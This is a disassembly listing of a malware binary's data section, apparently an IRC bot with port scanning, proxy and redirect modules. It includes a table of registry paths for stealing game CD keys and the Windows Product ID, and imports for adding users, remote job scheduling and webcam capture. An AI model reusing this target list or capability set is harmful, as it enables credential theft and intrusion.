aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_427858	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_407276+1FAo
		dd 2029206Ch, 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_4278AC	db    2			; DATA XREF: sub_407276+149o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_1	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4278F4	db    2			; DATA XREF: sub_407276+DBo
					; sub_40CE55+4EC3o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_0	db 'Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_407652+38o
					; sub_40A171+46o
unk_427954	db    2			; DATA XREF: sub_40778B+EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_427990	db    2			; DATA XREF: sub_40778B+93o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_4279E0	db    2			; DATA XREF: sub_40799F+1CEo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_427A38	db    2			; DATA XREF: sub_40799F+173o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_427A88	db    2			; DATA XREF: sub_40799F+103o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_427AD4	db    2			; DATA XREF: sub_40799F+87o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 10h
unk_427B20	db    2			; DATA XREF: sub_407BFE+156o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '  Failed to start client thread, error: <%d>.',0
		align 10h
unk_427B70	db    2			; DATA XREF: sub_407BFE+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '  Client connection from IP: %s:%d, Server thread: %d.',0
unk_427BC8	db    2			; DATA XREF: sub_407D86+1AAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '  Failed to start connection thread, error: <%d>.',0
		align 4
unk_427C1C	db    2			; DATA XREF: sub_407D86+E1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '  Client connection to IP: %s:%d, Server thread: %d.',0
		align 4
unk_427C74	db    2			; DATA XREF: sub_40800A+1B2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 4
unk_427CB8	db    2			; DATA XREF: sub_40800A+18Fo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_427D04	db    2			; DATA XREF: sub_40800A+114o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_427D5C	db    2			; DATA XREF: sub_40800A+A8o
					; sub_40CE55+587Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_427D98	db    2			; DATA XREF: sub_40820F+1F9o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_427DEC	db    2			; DATA XREF: sub_40820F+18Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Fh,	63h, 6Bh
		db  73h	; s
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
dword_427E3C	dd 28026502h, 62302E31h, 20282029h, 6B636F73h, 1F6D2E73h
					; DATA XREF: sub_40820F+F2o
		dd 206C1F64h, 0BB022029h, 202002BBh, 68747541h,	69746E65h
		dd 69746163h, 66206E6Fh, 656C6961h, 52202E64h, 746F6D65h
		dd 73752065h, 64697265h, 7325203Ah, 203D2120h, 2E7325h
		dd 0
		dd 80000001h
off_427E94	dd offset aSoftwareValveC ; DATA XREF: sub_4085D3+Cr
					; sub_4085D3+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_427EA0	dd 2 dup(0)		; DATA XREF: sub_4085D3+26o
		dd 80000001h, 429028h, 42901Ch,	42900Ch, 2 dup(0)
		dd 80000001h, 428FECh, 428FE8h,	428FD4h, 2 dup(0)
		dd 80000001h, 428FB0h, 428FE8h,	428FA4h, 2 dup(0)
		dd 80000001h, 428F80h, 428F78h,	428F64h, 2 dup(0)
		dd 80000001h, 428F50h, 428F40h,	428F24h, 2 dup(0)
		dd 80000001h, 428EE0h, 429068h,	428ECCh, 2 dup(0)
		dd 80000002h, 428EA0h, 428E94h,	428E74h, 2 dup(0)
		dd 80000002h, 428E40h, 429068h,	428E28h, 2 dup(0)
		dd 80000002h, 428DF4h, 429068h,	428DDCh, 2 dup(0)
		dd 80000002h, 428DC4h, 429068h,	428DACh, 2 dup(0)
		dd 80000002h, 428D70h, 438FBCh,	428D60h, 2 dup(0)
		dd 80000002h, 428D28h, 438FBCh,	428D14h, 2 dup(0)
		dd 80000002h, 428CC8h, 438FBCh,	428CA8h, 2 dup(0)
		dd 80000002h, 428C58h, 438FBCh,	428C2Ch, 2 dup(0)
		dd 80000002h, 428BF0h, 438FBCh,	428BDCh, 2 dup(0)
		dd 80000002h, 428BA4h, 438FBCh,	428B94h, 2 dup(0)
		dd 80000002h, 428B44h, 438FBCh,	428B18h, 2 dup(0)
		dd 80000002h, 428AD8h, 438FBCh,	428ABCh, 2 dup(0)
		dd 80000002h, 428A8Ch, 438FBCh,	428A6Ch, 2 dup(0)
		dd 80000002h, 428A30h, 438FBCh,	428A1Ch, 2 dup(0)
		dd 80000002h, 4289D4h, 438FBCh,	4289B4h, 2 dup(0)
		dd 80000002h, 428960h, 438FBCh,	428930h, 2 dup(0)
		dd 80000002h, 4288E0h, 438FBCh,	4288B4h, 2 dup(0)
		dd 80000002h, 428874h, 42886Ch,	42884Ch, 2 dup(0)
		dd 80000002h, 428808h, 438FBCh,	4287ECh, 2 dup(0)
		dd 80000002h, 4287A0h, 438FBCh,	42877Ch, 2 dup(0)
		dd 80000002h, 428748h, 438FBCh,	42873Ch, 2 dup(0)
		dd 80000002h, 428708h, 438FBCh,	4286FCh, 2 dup(0)
		dd 80000002h, 4286C8h, 438FBCh,	4286BCh, 2 dup(0)
		dd 80000002h, 428688h, 438FBCh,	42867Ch, 2 dup(0)
		dd 80000002h, 428640h, 438FBCh,	42862Ch, 2 dup(0)
		dd 80000002h, 4285F0h, 438FBCh,	4285DCh, 2 dup(0)
		dd 80000002h, 4285ACh, 429068h,	428590h, 2 dup(0)
		dd 80000002h, 428570h, 428568h,	428544h, 2 dup(0)
		dd 80000002h, 428528h, 428568h,	428508h, 2 dup(0)
		dd 80000002h, 4284E8h, 428568h,	4284C4h, 2 dup(0)
		dd 80000002h, 4284ACh, 428568h,	4284A8h, 2 dup(0)
		dd 80000002h, 42848Ch, 42847Ch,	428474h, 2 dup(0)
		dd 80000002h, 428440h, 42843Ch,	428424h, 2 dup(0)
		dd 80000002h, 4283E8h, 4283DCh,	4283B4h, 4283A4h, 428390h
		dd 80000002h, 42836Ch, 428360h,	42834Ch, 42833Ch, 428334h
		dd 80000002h, 42836Ch, 428360h,	428308h, 42833Ch, 428300h
		dd 80000002h, 42836Ch, 428360h,	4282D0h, 42833Ch, 4282C8h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 10h
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
aKey		db 'key',0
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 4
aSerialnumber	db 'SerialNumber',0
		align 4
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
aNox		db 'NOX',0
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 10h
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 10h
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 4
aNascarRacing20	db 'Nascar Racing 2003',0
		align 10h
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 4
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 10h
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 4
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 4
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 10h
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 4
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 4
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 4
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 10h
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 10h
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 10h
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 4
aGlobalOperatio	db 'Global Operations',0
		align 10h
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 4
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 4
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 10h
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 4
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 10h
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 10h
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 4
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 10h
aCustomernumber	db 'CustomerNumber',0
		align 10h
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 10h
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 4
aTheGladiators	db 'The Gladiators',0
		align 4
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 10h
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: seg000:00427E9Co
aCdkey		db 'CDKey',0            ; DATA XREF: seg000:00427E98o
		align 10h
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: seg000:off_427E94o
		align 4
asc_429098:				; DATA XREF: sub_4085D3+E9o
					; sub_4085D3+F4o
		unicode	0, <=>,0
aR:					; DATA XREF: sub_4085D3+8Fo
					; sub_40CE55:loc_4112ADo
		unicode	0, <r>,0
aSS_3		db '%s\%s',0            ; DATA XREF: sub_4085D3+7Eo
					; sub_4088A0+45o ...
		align 4
aSCdKeyS_	db '%s CD Key: (%s).',0 ; DATA XREF: sub_4085D3+2Bo
		align 4
unk_4290BC	db    2			; DATA XREF: sub_408788+C5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFilesFoundD_	db '  Files found: %d.',0
unk_4290F0	db    2			; DATA XREF: sub_408788+5Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForFi	db '  Searching for file: %s.',0
		align 4
aFoundSS	db ' Found: %s\%s',0    ; DATA XREF: sub_4088A0+107o
		align 4
aS_3		db '%s\*',0             ; DATA XREF: sub_4088A0+1Ao
		align 4
aCapgetdriverde	db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_4089F2+C50o
		align 10h
aCapcreatecaptu	db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_4089F2+C48o
aAvicap32_dll	db 'avicap32.dll',0     ; DATA XREF: sub_4089F2:loc_40962Do
		align 4
aSqldisconnect	db 'SQLDisconnect',0    ; DATA XREF: sub_4089F2+BE6o
		align 4
aSqlfreehandle	db 'SQLFreeHandle',0    ; DATA XREF: sub_4089F2+BD9o
		align 4
aSqlallochandle	db 'SQLAllocHandle',0   ; DATA XREF: sub_4089F2+BCCo
		align 4
aSqlexecdirect	db 'SQLExecDirect',0    ; DATA XREF: sub_4089F2+BBFo
		align 4
aSqlsetenvattr	db 'SQLSetEnvAttr',0    ; DATA XREF: sub_4089F2+BB2o
		align 4
aSqldriverconne	db 'SQLDriverConnect',0 ; DATA XREF: sub_4089F2+BAAo
		align 4
aOdbc32_dll	db 'odbc32.dll',0       ; DATA XREF: sub_4089F2:loc_40958Fo
		align 4
aShchangenotify	db 'SHChangeNotify',0   ; DATA XREF: sub_4089F2+B68o
		align 4
aShellexecutea	db 'ShellExecuteA',0    ; DATA XREF: sub_4089F2+B60o
		align 4
aShell32_dll	db 'shell32.dll',0      ; DATA XREF: sub_4089F2:loc_409545o
aWnetcancelco_0	db 'WNetCancelConnection2W',0 ; DATA XREF: sub_4089F2+B0Eo
		align 4
aWnetcancelconn	db 'WNetCancelConnection2A',0 ; DATA XREF: sub_4089F2+B01o
		align 4
aWnetaddconne_0	db 'WNetAddConnection2W',0 ; DATA XREF: sub_4089F2+AF4o
aWnetaddconnect	db 'WNetAddConnection2A',0 ; DATA XREF: sub_4089F2+AECo
aMpr_dll	db 'mpr.dll',0          ; DATA XREF: sub_4089F2:loc_4094D1o
aDeleteipnetent	db 'DeleteIpNetEntry',0 ; DATA XREF: sub_4089F2+AAAo
		align 4
aGetipnettable	db 'GetIpNetTable',0    ; DATA XREF: sub_4089F2+AA2o
		align 4
aIphlpapi_dll	db 'iphlpapi.dll',0     ; DATA XREF: sub_4089F2:loc_409487o
		align 4
aDnsflushreso_0	db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_4089F2+A60o
		align 4
aDnsflushresolv	db 'DnsFlushResolverCache',0 ; DATA XREF: sub_4089F2+A58o
		align 10h
aDnsapi_dll	db 'dnsapi.dll',0       ; DATA XREF: sub_4089F2:loc_40943Do
		align 4
aNetmessagebuff	db 'NetMessageBufferSend',0 ; DATA XREF: sub_4089F2+9CEo
		align 4
aNetusergetinfo	db 'NetUserGetInfo',0   ; DATA XREF: sub_4089F2+9C1o
		align 4
aNetuserenum	db 'NetUserEnum',0      ; DATA XREF: sub_4089F2+9B4o
aNetuserdel	db 'NetUserDel',0       ; DATA XREF: sub_4089F2+9A7o
		align 4
aNetuseradd	db 'NetUserAdd',0       ; DATA XREF: sub_4089F2+99Ao
		align 4
aNetremotetod	db 'NetRemoteTOD',0     ; DATA XREF: sub_4089F2+98Do
		align 4
aNetapibufferfr	db 'NetApiBufferFree',0 ; DATA XREF: sub_4089F2+980o
		align 4
aNetschedulejob	db 'NetScheduleJobAdd',0 ; DATA XREF: sub_4089F2+973o
		align 10h
aNetshareenum	db 'NetShareEnum',0     ; DATA XREF: sub_4089F2+966o
		align 10h
aNetsharedel	db 'NetShareDel',0      ; DATA XREF: sub_4089F2+959o
aNetshareadd	db 'NetShareAdd',0      ; DATA XREF: sub_4089F2+951o
aNetapi32_dll	db 'netapi32.dll',0     ; DATA XREF: sub_4089F2:loc_409332o
		align 4
aIcmpsendecho	db 'IcmpSendEcho',0     ; DATA XREF: sub_4089F2+903o
		align 4
aIcmpclosehandl	db 'IcmpCloseHandle',0  ; DATA XREF: sub_4089F2+8F6o
aIcmpcreatefile	db 'IcmpCreateFile',0   ; DATA XREF: sub_4089F2+8EEo
		align 4
aIcmp_dll	db 'icmp.dll',0         ; DATA XREF: sub_4089F2:loc_4092D3o
		align 4
aMozilla4_0Comp	db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_4089F2+8B4o
		align 10h
aInternetcloseh	db 'InternetCloseHandle',0 ; DATA XREF: sub_4089F2+842o
aInternetreadfi	db 'InternetReadFile',0 ; DATA XREF: sub_4089F2+835o
		align 4
aInternetcracku	db 'InternetCrackUrlA',0 ; DATA XREF: sub_4089F2+828o
		align 4
aInternetopenur	db 'InternetOpenUrlA',0 ; DATA XREF: sub_4089F2+81Bo
		align 10h
aInternetopena	db 'InternetOpenA',0    ; DATA XREF: sub_4089F2+80Eo
		align 10h
aInternetconnec	db 'InternetConnectA',0 ; DATA XREF: sub_4089F2+801o
		align 4
aHttpsendreques	db 'HttpSendRequestA',0 ; DATA XREF: sub_4089F2+7F4o
		align 4
aHttpopenreques	db 'HttpOpenRequestA',0 ; DATA XREF: sub_4089F2+7E7o
		align 4
aInternetgetc_0	db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_4089F2+7DAo
aInternetgetcon	db 'InternetGetConnectedState',0 ; DATA XREF: sub_4089F2+7D2o
		align 4
aWininet_dll	db 'wininet.dll',0      ; DATA XREF: sub_4089F2:loc_4091B3o
aClosesocket	db 'closesocket',0      ; DATA XREF: sub_4089F2+688o
aGetpeername	db 'getpeername',0      ; DATA XREF: sub_4089F2+67Bo
aGethostbyaddr	db 'gethostbyaddr',0    ; DATA XREF: sub_4089F2+66Eo
		align 4
aGethostbyname	db 'gethostbyname',0    ; DATA XREF: sub_4089F2+661o
		align 4
aGethostname	db 'gethostname',0      ; DATA XREF: sub_4089F2+654o
aGetsockname	db 'getsockname',0      ; DATA XREF: sub_4089F2+647o
aSetsockopt	db 'setsockopt',0       ; DATA XREF: sub_4089F2+63Ao
		align 4
aAccept		db 'accept',0           ; DATA XREF: sub_4089F2+62Do
					; seg000:0042C5DCo
		align 4
aListen		db 'listen',0           ; DATA XREF: sub_4089F2+620o
		align 4
aSelect		db 'select',0           ; DATA XREF: sub_4089F2+613o
		align 4
aBind		db 'bind',0             ; DATA XREF: sub_4089F2+60Bo
		align 4
aRecvfrom	db 'recvfrom',0         ; DATA XREF: sub_4089F2+5F9o
		align 4
